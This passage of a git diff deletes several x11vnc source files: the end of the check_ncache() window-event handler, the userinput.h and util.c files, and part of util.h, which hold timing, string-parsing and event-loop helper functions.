- Window win2 = Ev_unmap[ik2];
-
- if (win2 == None) {
- continue;
- }
- idx2 = lookup_win_index(win2);
- if (idx2 < 0) {
- continue;
- }
-
- ro1 = idx_create_rgn(r0, idx);
- ro2 = idx_create_rgn(r0, idx2);
-
- if (sraRgnAnd(ro1, ro2)) {
- if (ncdb) fprintf(stderr, " skip VisibilityUnobscured for GNOME iconify.\n");
- ok = 0;
- }
- sraRgnDestroy(ro1);
- sraRgnDestroy(ro2);
- if (! ok) {
- break;
- }
- }
- }
- if (ok) {
- int x2, y2, w2, h2;
- sraRegionPtr rmask = NULL;
- valid = 0;
- if (dnow() < cache_list[idx].vis_unobs_time + 3.00 && !sraRgnEmpty(unmapped_rgn)) {
- x2 = cache_list[idx].x;
- y2 = cache_list[idx].y;
- w2 = cache_list[idx].width;
- h2 = cache_list[idx].height;
- rmask = sraRgnCreateRect(x2, y2, x2+w2, y2+h2);
- sraRgnAnd(rmask, unmapped_rgn);
- if (sraRgnEmpty(rmask)) {
- sraRgnDestroy(rmask);
- rmask = NULL;
- }
- }
- if (ev_lookup(win, EV_CONFIGURE_SIZE)) {
- valid = valid_window(win, &attr, 1);
- } else {
- X_UNLOCK;
- bs_restore(idx, nbatch, rmask, &attr, 0, 1, &valid, 1);
- X_LOCK;
- }
- if (rmask != NULL) {
- sraRgnDestroy(rmask);
- }
- if (valid) {
- STORE(idx, win, attr);
-
- cache_list[idx].time = dnow();
- cache_list[idx].vis_cnt++;
- Ev_map[ik] = win;
- Ev_rects[nrects].x1 = cache_list[idx].x;
- Ev_rects[nrects].y1 = cache_list[idx].y;
- Ev_rects[nrects].x2 = cache_list[idx].width;
- Ev_rects[nrects].y2 = cache_list[idx].height;
- nrects++;
- SCHED(win, 1)
- } else {
- DELETE(idx);
- }
- }
- }
- if (state == VisibilityUnobscured) {
- cache_list[idx].vis_unobs_time = last_vis_unobs_time = dnow();
- } else if (cache_list[idx].vis_state == VisibilityUnobscured) {
- cache_list[idx].vis_obs_time = last_vis_obs_time = dnow();
- }
- cache_list[idx].vis_state = state;
-
- } else if (type == MapNotify) {
- idx = lookup_win_index(win);
-if (ncdb) fprintf(stderr, "----%02d: MapNotify 0x%lx %3d\n", ik, win, idx);
-
- if (idx < 0) {
- continue;
- }
-
-#if 0
-/*
- if (cache_list[idx].map_state == IsUnmapped || desktop_change || macosx_console)
- */
-#endif
- if (1) {
- X_UNLOCK;
- if (desktop_change) {
- /* XXX Y */
- int save = 1;
- sraRegionPtr r;
- if (cache_list[idx].su_time != 0.0) {
- save = 0;
- } else if (missed_su_restore) {
- r = idx_create_rgn(r0, idx);
- if (sraRgnAnd(r, missed_su_restore_rgn)) {
- save = 0;
- }
- sraRgnDestroy(r);
- }
- if (missed_bs_restore) {
- r = idx_create_rgn(r0, idx);
- if (sraRgnAnd(r, missed_bs_restore_rgn)) {
- save = 0;
- }
- sraRgnDestroy(r);
- }
- if (save) {
- valid = 0;
- su_save(idx, nbatch, &attr, 1, &valid, 1);
- if (valid) {
- STORE(idx, win, attr);
- }
- }
- } else {
- valid = 0;
- su_save(idx, nbatch, &attr, 0, &valid, 1);
- if (valid) {
- STORE(idx, win, attr);
- }
- }
- valid = 0;
- if (ev_lookup(win, EV_CONFIGURE_SIZE)) {
- X_LOCK;
- valid = valid_window(win, &attr, 1);
- X_UNLOCK;
- idx_add_rgn(missed_bs_restore_rgn, r0, idx);
- missed_bs_restore++;
- } else if (bs_restore(idx, nbatch, NULL, &attr, 0, 0, &valid, 1)) { /* XXX clip? */
- ;
- } else {
- idx_add_rgn(missed_bs_restore_rgn, r0, idx);
- missed_bs_restore++;
- }
- if (valid) {
- STORE(idx, win, attr);
- }
-
- if (macosx_console) {
-#ifdef MACOSX
- macosxCGS_follow_animation_win(win, -1, 1);
- if (valid_window(win, &attr, 1)) {
- STORE(idx, win, attr);
- SCHED(win, 1);
- }
- /* XXX Y */
- if (cache_list[idx].vis_state == -1) {
- cache_list[idx].vis_state = VisibilityUnobscured;
- }
-#endif
- }
- X_LOCK;
- pixels += cache_list[idx].width * cache_list[idx].height;
- cache_list[idx].time = dnow();
- cache_list[idx].map_cnt++;
- Ev_map[ik] = win;
- Ev_rects[nrects].x1 = cache_list[idx].x;
- Ev_rects[nrects].y1 = cache_list[idx].y;
- Ev_rects[nrects].x2 = cache_list[idx].width;
- Ev_rects[nrects].y2 = cache_list[idx].height;
- nrects++;
-
- if (! valid) {
- DELETE(idx);
- }
- }
- cache_list[idx].map_state = IsViewable;
-
- } else if (type == UnmapNotify) {
- int x2, y2, w2, h2;
- idx = lookup_win_index(win);
-if (ncdb) fprintf(stderr, "----%02d: UnmapNotify 0x%lx %3d\n", ik, win, idx);
-
- if (idx < 0) {
- continue;
- }
- if (macosx_console) {
- if (mode == 2) {
- cache_list[idx].map_state = IsViewable;
- }
- }
-
-#if 0
-/*
- if (cache_list[idx].map_state == IsViewable || desktop_change || macosx_console)
- */
-#endif
- if (1) {
- X_UNLOCK;
- if (desktop_change) {
- int save = 1;
- sraRegionPtr r;
- if (cache_list[idx].bs_time > 0.0) {
- save = 0;
- } else if (missed_su_restore) {
- r = idx_create_rgn(r0, idx);
- if (sraRgnAnd(r, missed_su_restore_rgn)) {
- save = 0;
- }
- sraRgnDestroy(r);
- }
- if (missed_bs_restore) {
- r = idx_create_rgn(r0, idx);
- if (sraRgnAnd(r, missed_bs_restore_rgn)) {
- save = 0;
- }
- sraRgnDestroy(r);
- }
- if (save) {
- valid = 0;
- bs_save(idx, nbatch, &attr, 1, 0, &valid, 1);
- }
- } else {
- valid = 0;
- bs_save(idx, nbatch, &attr, 1, 0, &valid, 1);
- }
- valid = 0;
- if (su_restore(idx, nbatch, NULL, &attr, 1, 0, &valid, 1)) {
- try_to_fix_su(win, idx, None, nbatch, "unmapped");
- if (valid) {
- STORE(idx, win, attr);
- } else {
- DELETE(idx);
- }
- } else {
- idx_add_rgn(missed_su_restore_rgn, r0, idx);
- missed_su_restore++;
- }
- X_LOCK;
-
- pixels += cache_list[idx].width * cache_list[idx].height;
- cache_list[idx].time = dnow();
- cache_list[idx].unmap_cnt++;
- Ev_unmap[ik] = win;
- Ev_rects[nrects].x1 = cache_list[idx].x;
- Ev_rects[nrects].y1 = cache_list[idx].y;
- Ev_rects[nrects].x2 = cache_list[idx].width;
- Ev_rects[nrects].y2 = cache_list[idx].height;
- nrects++;
- }
-
- x2 = cache_list[idx].x;
- y2 = cache_list[idx].y;
- w2 = cache_list[idx].width;
- h2 = cache_list[idx].height;
- r = sraRgnCreateRect(x2, y2, x2+w2, y2+h2);
- sraRgnAnd(r, r0);
- sraRgnOr(unmapped_rgn, r);
- sraRgnDestroy(r);
-
- cache_list[idx].map_state = IsUnmapped;
-
- } else if (type == ReparentNotify) {
- if (ev.xreparent.parent != rootwin) {
- win2 = ev.xreparent.window;
- if (win2 != rootwin) {
- idx = lookup_win_index(win2);
-if (ncdb) fprintf(stderr, "----%02d: ReparentNotifyRM 0x%lx %3d\n", ik, win2, idx);
- }
- }
-
- } else if (type == DestroyNotify) {
- win2 = ev.xdestroywindow.window;
- idx = lookup_win_index(win2);
-if (ncdb) fprintf(stderr, "----%02d: DestroyNotify 0x%lx %3d\n", ik, win2, idx);
-
- if (idx >= 0) {
- DELETE(idx);
- }
- } else {
-if (ncdb) fprintf(stderr, "igno%02d: ** Ignoring 0x%lx type: %s\n", ik, win, Etype(type));
- }
-
- }
- }
- X_UNLOCK;
-
- if (use_batch && nreg) {
- batch_push(nreg, -1.0);
- }
- if (nrects) {
- if (scaling) {
- push_borders(Ev_rects, nrects);
- }
- }
-
- check_sched(try_batch, &did_sched);
-
- if (n_CN || n_RN || n_DN || n_MN || n_UN || n_ST || n_DC || did_sched) {
- snap_old();
- }
-
- sraRgnDestroy(r0);
- sraRgnDestroy(missed_su_restore_rgn);
- sraRgnDestroy(missed_bs_restore_rgn);
-
-if (ncdb) rfbLog("OUT check_ncache(): %.4f %.6f events: %d pixels: %d\n", dnowx(), dnow() - now, n, pixels);
-if (ncdb) fprintf(stderr, "\n");
- return pixels;
-}
-#endif
-
diff --git a/x11vnc/userinput.h b/x11vnc/userinput.h
deleted file mode 100644
index a5fd2b3..0000000
--- a/x11vnc/userinput.h
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_USERINPUT_H
-#define _X11VNC_USERINPUT_H
-
-/* -- userinput.h -- */
-
-extern int defer_update_nofb;
-extern int last_scroll_type;
-
-extern int get_wm_frame_pos(int *px, int *py, int *x, int *y, int *w, int *h,
- Window *frame, Window *win);
-extern void parse_scroll_copyrect(void);
-extern void parse_fixscreen(void);
-extern void parse_wireframe(void);
-
-extern void set_wirecopyrect_mode(char *str);
-extern void set_scrollcopyrect_mode(char *str);
-extern void initialize_scroll_keys(void);
-extern void initialize_scroll_matches(void);
-extern void initialize_scroll_term(void);
-extern void initialize_max_keyrepeat(void);
-
-extern int direct_fb_copy(int x1, int y1, int x2, int y2, int mark);
-extern void fb_push(void);
-extern int fb_push_wait(double max_wait, int flags);
-extern void eat_viewonly_input(int max_eat, int keep);
-
-extern void mark_for_xdamage(int x, int y, int w, int h);
-extern void mark_region_for_xdamage(sraRegionPtr region);
-extern void set_xdamage_mark(int x, int y, int w, int h);
-extern int near_wm_edge(int x, int y, int w, int h, int px, int py);
-extern int near_scrollbar_edge(int x, int y, int w, int h, int px, int py);
-
-extern void check_fixscreen(void);
-extern int check_xrecord(void);
-extern int check_wireframe(void);
-extern int fb_update_sent(int *count);
-extern int check_user_input(double dt, double dtr, int tile_diffs, int *cnt);
-extern void do_copyregion(sraRegionPtr region, int dx, int dy, int mode);
-
-extern int check_ncache(int reset, int mode);
-extern int find_rect(int idx, int x, int y, int w, int h);
-extern int lookup_win_index(Window);
-extern void set_ncache_xrootpmap(void);
-
-#endif /* _X11VNC_USERINPUT_H */
diff --git a/x11vnc/util.c b/x11vnc/util.c
deleted file mode 100644
index 80b1607..0000000
--- a/x11vnc/util.c
+++ /dev/null
@@ -1,787 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- util.c -- */
-
-#include "x11vnc.h"
-#include "cleanup.h"
-#include "win_utils.h"
-#include "unixpw.h"
-#include "connections.h"
-
-struct timeval _mysleep;
-
-/* this is only for debugging mutexes. see util.h */
-int hxl = 0;
-
-#ifdef LIBVNCSERVER_HAVE_LIBPTHREAD
-MUTEX(x11Mutex);
-MUTEX(scrollMutex);
-#endif
-
-int nfix(int i, int n);
-int nmin(int n, int m);
-int nmax(int n, int m);
-int nabs(int n);
-double dabs(double x);
-void lowercase(char *str);
-void uppercase(char *str);
-char *lblanks(char *str);
-void strzero(char *str);
-int scan_hexdec(char *str, unsigned long *num);
-int parse_geom(char *str, int *wp, int *hp, int *xp, int *yp, int W, int H);
-void set_env(char *name, char *value);
-char *bitprint(unsigned int st, int nbits);
-char *get_user_name(void);
-char *get_home_dir(void);
-char *get_shell(void);
-char *this_host(void);
-
-int match_str_list(char *str, char **list);
-char **create_str_list(char *cslist);
-
-double dtime(double *);
-double dtime0(double *);
-double dnow(void);
-double dnowx(void);
-double rnow(void);
-double rfac(void);
-
-int rfbPE(long usec);
-void rfbCFD(long usec);
-
-double rect_overlap(int x1, int y1, int x2, int y2, int X1, int Y1,
- int X2, int Y2);
-
-char *choose_title(char *display);
-
-
-/*
- * routine to keep 0 <= i < n
- */
-int nfix(int i, int n) {
- if (i < 0) {
- i = 0;
- } else if (i >= n) {
- i = n - 1;
- }
- return i;
-}
-
-int nmin(int n, int m) {
- if (n < m) {
- return n;
- } else {
- return m;
- }
-}
-
-int nmax(int n, int m) {
- if (n > m) {
- return n;
- } else {
- return m;
- }
-}
-
-int nabs(int n) {
- if (n < 0) {
- return -n;
- } else {
- return n;
- }
-}
-
-double dabs(double x) {
- if (x < 0.0) {
- return -x;
- } else {
- return x;
- }
-}
-
-void lowercase(char *str) {
- char *p;
- if (str == NULL) {
- return;
- }
- p = str;
- while (*p != '\0') {
- *p = tolower((unsigned char) (*p));
- p++;
- }
-}
-
-void uppercase(char *str) {
- char *p;
- if (str == NULL) {
- return;
- }
- p = str;
- while (*p != '\0') {
- *p = toupper((unsigned char) (*p));
- p++;
- }
-}
-
-char *lblanks(char *str) {
- char *p = str;
- while (*p != '\0') {
- if (! isspace((unsigned char) (*p))) {
- break;
- }
- p++;
- }
- return p;
-}
-
-void strzero(char *str) {
- char *p = str;
- if (p != NULL) {
- while (*p != '\0') {
- *p = '\0';
- p++;
- }
- }
-}
-
-int is_decimal(char *str) {
- char *p = str;
- if (p != NULL) {
- int first = 1;
- while (*p != '\0') {
- if (first && *p == '-') {
- ;
- } else if (isdigit((int) *p)) {
- ;
- } else {
- return 0;
- }
- first = 0;
- p++;
- }
- return 1;
- }
- return 0;
-}
-
-int scan_hexdec(char *str, unsigned long *num) {
- if (sscanf(str, "0x%lx", num) != 1) {
- if (sscanf(str, "%lu", num) != 1) {
- return 0;
- }
- }
- return 1;
-}
-
-int parse_geom(char *str, int *wp, int *hp, int *xp, int *yp, int W, int H) {
- int w, h, x, y;
- if (! str) {
- return 0;
- }
- /* handle +/-x and +/-y */
- if (sscanf(str, "%dx%d+%d+%d", &w, &h, &x, &y) == 4) {
- ;
- } else if (sscanf(str, "%dx%d-%d+%d", &w, &h, &x, &y) == 4) {
- w = nabs(w);
- x = W - x - w;
- } else if (sscanf(str, "%dx%d+%d-%d", &w, &h, &x, &y) == 4) {
- h = nabs(h);
- y = H - y - h;
- } else if (sscanf(str, "%dx%d-%d-%d", &w, &h, &x, &y) == 4) {
- w = nabs(w);
- h = nabs(h);
- x = W - x - w;
- y = H - y - h;
- } else {
- return 0;
- }
- *wp = w;
- *hp = h;
- *xp = x;
- *yp = y;
- return 1;
-}
-
-void set_env(char *name, char *value) {
- char *str;
- if (! name) {
- return;
- }
- if (! value) {
- value = "";
- }
- str = (char *) malloc(strlen(name) + 1 + strlen(value) + 1);
- sprintf(str, "%s=%s", name, value);
- putenv(str);
-}
-
-char *bitprint(unsigned int st, int nbits) {
- static char str[33];
- int i, mask;
- if (nbits > 32) {
- nbits = 32;
- }
- for (i=0; i<nbits; i++) {
- str[i] = '0';
- }
- str[nbits] = '\0';
- mask = 1;
- for (i=nbits-1; i>=0; i--) {
- if (st & mask) {
- str[i] = '1';
- }
- mask = mask << 1;
- }
- return str; /* take care to use or copy immediately */
-}
-
-char *get_user_name(void) {
- char *user = NULL;
-
- user = getenv("USER");
- if (user == NULL) {
- user = getenv("LOGNAME");
- }
-
-#if LIBVNCSERVER_HAVE_PWD_H
- if (user == NULL) {
- struct passwd *pw = getpwuid(getuid());
- if (pw) {
- user = pw->pw_name;
- }
- }
-#endif
-
- if (user) {
- return(strdup(user));
- } else {
- return(strdup("unknown-user"));
- }
-}
-
-char *get_home_dir(void) {
- char *home = NULL;
-
- home = getenv("HOME");
-
-#if LIBVNCSERVER_HAVE_PWD_H
- if (home == NULL) {
- struct passwd *pw = getpwuid(getuid());
- if (pw) {
- home = pw->pw_dir;
- }
- }
-#endif
-
- if (home) {
- return(strdup(home));
- } else {
- return(strdup("/"));
- }
-}
-
-char *get_shell(void) {
- char *shell = NULL;
-
- shell = getenv("SHELL");
-
-#if LIBVNCSERVER_HAVE_PWD_H
- if (shell == NULL) {
- struct passwd *pw = getpwuid(getuid());
- if (pw) {
- shell = pw->pw_shell;
- }
- }
-#endif
-
- if (shell) {
- return(strdup(shell));
- } else {
- return(strdup("/bin/sh"));
- }
-}
-
-/*
- * utility to get the current host name
- */
-char *this_host(void) {
- char host[MAXN];
-#if LIBVNCSERVER_HAVE_GETHOSTNAME
- if (gethostname(host, MAXN) == 0) {
- host[MAXN-1] = '\0';
- return strdup(host);
- } else if (UT.nodename) {
- return strdup(UT.nodename);
- }
-#endif
- return NULL;
-}
-
-int match_str_list(char *str, char **list) {
- int i = 0, matched = 0;
-
- if (! str || ! list) {
- return 0;
- }
- while (list[i] != NULL) {
- if (!strcmp(list[i], "*")) {
- matched = 1;
- break;
- } else if (strstr(str, list[i])) {
- matched = 1;
- break;
- }
- i++;
- }
- return matched;
-}
-
-char **create_str_list(char *cslist) {
- int i, n;
- char *p, *str;
- char **list = NULL;
-
- if (! cslist) {
- return NULL;
- }
-
- str = strdup(cslist);
- n = 1;
- p = str;
- while (*p != '\0') {
- if (*p == ',') {
- n++;
- }
- p++;
- }
-
- /* the extra last one holds NULL */
- list = (char **) calloc((n+1)*sizeof(char *), 1);
-
- p = strtok(str, ",");
- i = 0;
- while (p && i < n) {
- list[i++] = strdup(p);
- p = strtok(NULL, ",");
- }
- free(str);
-
- return list;
-}
-
-/*
- * simple function for measuring sub-second time differences, using
- * a double to hold the value.
- */
-double dtime(double *t_old) {
- /*
- * usage: call with 0.0 to initialize, subsequent calls give
- * the time difference since last call.
- */
- double t_now, dt;
- struct timeval now;
-
- gettimeofday(&now, NULL);
- t_now = now.tv_sec + ( (double) now.tv_usec/1000000. );
- if (*t_old == 0.0) {
- *t_old = t_now;
- return t_now;
- }
- dt = t_now - *t_old;
- *t_old = t_now;
- return(dt);
-}
-
-/* common dtime() activities: */
-double dtime0(double *t_old) {
- *t_old = 0.0;
- return dtime(t_old);
-}
-
-double dnow(void) {
- double t;
- return dtime0(&t);
-}
-
-double dnowx(void) {
- return dnow() - x11vnc_start;
-}
-
-double rnow(void) {
- double t = dnow();
- t = t - ((int) t);
- if (t > 1.0) {
- t = 1.0;
- } else if (t < 0.0) {
- t = 0.0;
- }
- return t;
-}
-
-double rfac(void) {
- double f;
- static int first = 1;
-
- if (first) {
- unsigned int s;
- if (getenv("RAND_SEED")) {
- s = (unsigned int) atoi(getenv("RAND_SEED"));
- } else {
- s = (unsigned int) ((int) getpid() + 100000 * rnow());
- }
- srand(s);
- first = 0;
- }
-
- f = (double) rand();
- f = f / ((double) RAND_MAX);
-
- return f;
-}
-
-void check_allinput_rate(void) {
- static double last_all_input_check = 0.0;
- static int set = 0, verb = -1;
-
- if (use_threads) {
- return;
- }
- if (verb < 0) {
- verb = 0;
- if (getenv("RATE_VERB")) verb = 1;
- }
- if (! set) {
- set = 1;
- last_all_input_check = dnow();
- } else {
- int dt = 5;
- if (x11vnc_current > last_all_input_check + dt) {
- int n, nq = 0;
- while ((n = rfbCheckFds(screen, 0))) {
- nq += n;
- }
- if (verb) fprintf(stderr, "nqueued: %d\n", nq);
- if (getenv("CHECK_RATE") && nq > 18 * dt) {
- double rate = nq / dt;
- if (verb) rfbLog("check_allinput_rate:\n");
- if (verb) rfbLog("Client is sending %.1f extra requests per second for the\n", rate);
- if (verb) rfbLog("past %d seconds! (queued: %d)\n", dt, nq);
- if (strstr(getenv("CHECK_RATE"), "allinput") && !all_input && !handle_events_eagerly) {
- rfbLog("Switching to -allpinput mode.\n");
- all_input = 1;
- }
- }
- set = 0;
- }
- }
-}
-
-static void do_allinput(long usec) {
- static double last = 0.0;
- static int meas = 0, verb = -1;
- int n, f = 1, cnt = 0, m = 0;
- long usec0;
- double now;
- if (!screen || !screen->clientHead) {
- return;
- }
- if (use_threads) {
- return;
- }
- if (usec < 0) {
- usec = 0;
- }
- usec0 = usec;
- if (last == 0.0) {
- last = dnow();
- }
- if (verb < 0) {
- verb = 0;
- if (getenv("RATE_VERB")) verb = 1;
- }
- while ((n = rfbCheckFds(screen, usec)) > 0) {
- if (f) {
- if (verb) fprintf(stderr, " *");
- f = 0;
- }
- if (cnt++ > 30) {
- break;
- }
- meas += n;
- m += n;
- }
- if (verb) fprintf(stderr, "+%d/%d", cnt, m);
- now = dnow();
- if (now > last + 2.0) {
- double rate = meas / (now - last);
- if (verb) fprintf(stderr, "\n allinput rate: %.2f ", rate);
- meas = 0;
- last = dnow();
- }
-}
-
-/*
- * utility wrapper to call rfbProcessEvents
- * checks that we are not in threaded mode.
- */
-#define USEC_MAX 999999 /* libvncsever assumes < 1 second */
-int rfbPE(long usec) {
- int uip0 = unixpw_in_progress;
- static int check_rate = -1;
- int res = 0;
- if (! screen) {
- return res;
- }
- if (unixpw && unixpw_in_progress && !unixpw_in_rfbPE) {
- rfbLog("unixpw_in_rfbPE: skipping rfbPE\n");
- return res;
- }
-
- if (debug_tiles > 2) {
- double tm = dnow();
- fprintf(stderr, "rfbPE(%d) t: %.4f\n",
- (int) usec, tm - x11vnc_start);
- }
-
- if (usec > USEC_MAX) {
- usec = USEC_MAX;
- }
- if (! use_threads) {
- rfbBool r;
- r = rfbProcessEvents(screen, usec);
- if (r) {
- res = 1;
- }
- }
-
- if (unixpw && unixpw_in_progress && !uip0) {
- if (!unixpw_in_rfbPE) {
- rfbLog("rfbPE: got new client in non-rfbPE\n");
- ; /* this is new unixpw client */
- }
- }
-
- if (ipv6_listen) {
- check_ipv6_listen(usec);
- }
- if (unix_sock) {
- check_unix_sock(usec);
- }
- if (check_rate != 0) {
- if (check_rate < 0) {
- if (getenv("CHECK_RATE")) {
- check_rate = 1;
- } else {
- check_rate = 0;
- }
- }
- if (check_rate && !all_input && x11vnc_current < last_client + 45) {
- check_allinput_rate();
- }
- }
- if (all_input) {
- do_allinput(usec);
- }
- return res;
-}
-
-void rfbCFD(long usec) {
- int uip0 = unixpw_in_progress;
- if (! screen) {
- return;
- }
- if (unixpw && unixpw_in_progress && !unixpw_in_rfbPE) {
- static int msgs = 0;
- static double last_reset = 0.0;
- if (dnow() > last_reset + 5.0) {
- msgs = 0;
- last_reset = dnow();
- }
- if (msgs++ < 10) {
- rfbLog("unixpw_in_rfbPE: skipping rfbCFD\n");
- if (msgs == 10) {
- rfbLog("unixpw_in_rfbPE: skipping rfbCFD ...\n");
- }
- }
- return;
- }
- if (usec > USEC_MAX) {
- usec = USEC_MAX;
- }
-
- if (debug_tiles > 2) {
- double tm = dnow();
- fprintf(stderr, "rfbCFD(%d) t: %.4f\n",
- (int) usec, tm - x11vnc_start);
- }
-
-
- if (! use_threads) {
- if (all_input) {
- do_allinput(usec);
- } else {
- if (handle_events_eagerly) {
- screen->handleEventsEagerly = TRUE;
- } else {
- screen->handleEventsEagerly = FALSE;
- }
- rfbCheckFds(screen, usec);
- }
- }
-
- if (unixpw && unixpw_in_progress && !uip0) {
- if (!unixpw_in_rfbPE) {
- rfbLog("rfbCFD: got new client in non-rfbPE\n");
- ; /* this is new unixpw client */
- }
- }
-}
-
-double rect_overlap(int x1, int y1, int x2, int y2, int X1, int Y1,
- int X2, int Y2) {
- double a, A, o;
- sraRegionPtr r, R;
- sraRectangleIterator *iter;
- sraRect rt;
-
- a = nabs((x2 - x1) * (y2 - y1));
- A = nabs((X2 - X1) * (Y2 - Y1));
-
- if (a == 0 || A == 0) {
- return 0.0;
- }
-
- r = sraRgnCreateRect(x1, y1, x2, y2);
- R = sraRgnCreateRect(X1, Y1, X2, Y2);
-
- sraRgnAnd(r, R);
-
- o = 0.0;
- iter = sraRgnGetIterator(r);
- while (sraRgnIteratorNext(iter, &rt)) {
- o += nabs( (rt.x2 - rt.x1) * (rt.y2 - rt.y1) );
- }
- sraRgnReleaseIterator(iter);
-
- sraRgnDestroy(r);
- sraRgnDestroy(R);
-
- if (a < A) {
- o = o/a;
- } else {
- o = o/A;
- }
- return o;
-}
-
-/*
- * choose a desktop name
- */
-char *choose_title(char *display) {
- static char title[(MAXN+10)];
-
- memset(title, 0, sizeof(title));
- strcpy(title, "x11vnc");
-
- if (display == NULL) {
- display = getenv("DISPLAY");
- }
-
-#ifdef MACOSX
- if (display == NULL || strstr(display, "/tmp/") == display) {
- char *u = get_user_name();
- char *th = this_host();
- if (strlen(u) > MAXN/4) {
- u = "someone";
- }
- strcpy(title, u);
- if (th == NULL && UT.nodename) {
- th = UT.nodename;
- }
- if (th) {
- strcat(title, "@");
- strncat(title, th, MAXN - strlen(title));
- }
- return title;
- }
-#endif
-
- if (display == NULL) {
- return title;
- }
-
- /* use display: */
- title[0] = '\0';
- if (display[0] == ':') {
- char *th = this_host();
- if (th != NULL) {
- strncpy(title, th, MAXN - strlen(title));
- }
- }
- strncat(title, display, MAXN - strlen(title));
- X_LOCK;
- if (subwin && dpy && valid_window(subwin, NULL, 0)) {
-#if !NO_X11
- char *name = NULL;
- int do_appshare = getenv("X11VNC_APPSHARE_ACTIVE") ? 1 : 0;
- if (0 && do_appshare) {
- title[0] = '\0';
- }
- if (XFetchName(dpy, subwin, &name)) {
- if (name) {
- if (title[0] != '\0') {
- strncat(title, " ", MAXN - strlen(title));
- }
- strncat(title, name, MAXN - strlen(title));
- free(name);
- }
- }
- if (do_appshare) {
- Window c;
- int x, y;
- if (xtranslate(subwin, rootwin, 0, 0, &x, &y, &c, 1)) {
- char tmp[32];
- if (scaling) {
- x *= scale_fac_x;
- y *= scale_fac_y;
- }
- sprintf(tmp, " XY=%d,%d", x, y);
- strncat(title, tmp, MAXN - strlen(title));
- }
- rfbLog("appshare title: %s\n", title);
- }
-#endif /* NO_X11 */
- }
- X_UNLOCK;
- return title;
-}
diff --git a/x11vnc/util.h b/x11vnc/util.h
deleted file mode 100644
index 55585cf..0000000
--- a/x11vnc/util.h
+++ /dev/null
@@ -1,156 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_UTIL_H
-#define _X11VNC_UTIL_H
-
-/* -- util.h -- */
-
-extern int nfix(int i, int n);
-extern int nmin(int n, int m);
-extern int nmax(int n, int m);
-extern int nabs(int n);
-extern double dabs(double x);
-extern void lowercase(char *str);
-extern void uppercase(char *str);
-extern char *lblanks(char *str);
-extern void strzero(char *str);
-extern int scan_hexdec(char *str, unsigned long *num);
-extern int parse_geom(char *str, int *wp, int *hp, int *xp, int *yp, int W, int H);
-extern void set_env(char *name, char *value);
-extern char *bitprint(unsigned int st, int nbits);
-extern char *get_user_name(void);
-extern char *get_home_dir(void);
-extern char *get_shell(void);
-extern char *this_host(void);
-
-extern int match_str_list(char *str, char **list);
-extern char **create_str_list(char *cslist);
-
-extern double dtime(double *);
-extern double dtime0(double *);
-extern double dnow(void);
-extern double dnowx(void);
-extern double rnow(void);
-extern double rfac(void);
-
-extern int rfbPE(long usec);
-extern void rfbCFD(long usec);
-extern double rect_overlap(int x1, int y1, int x2, int y2, int X1, int Y1,
- int X2, int Y2);
-extern char *choose_title(char *display);
-
-
-#define NONUL(x) ((x) ? (x) : "")
-
-/*
- Put this in usleep2() for debug printout.
- fprintf(stderr, "_mysleep: %08d %10.6f %s:%d\n", (x), dnow() - x11vnc_start, __FILE__, __LINE__); \
- */
-
-/* XXX usleep(3) is not thread safe on some older systems... */
-extern struct timeval _mysleep;
-#define usleep2(x) \
- _mysleep.tv_sec = (x) / 1000000; \
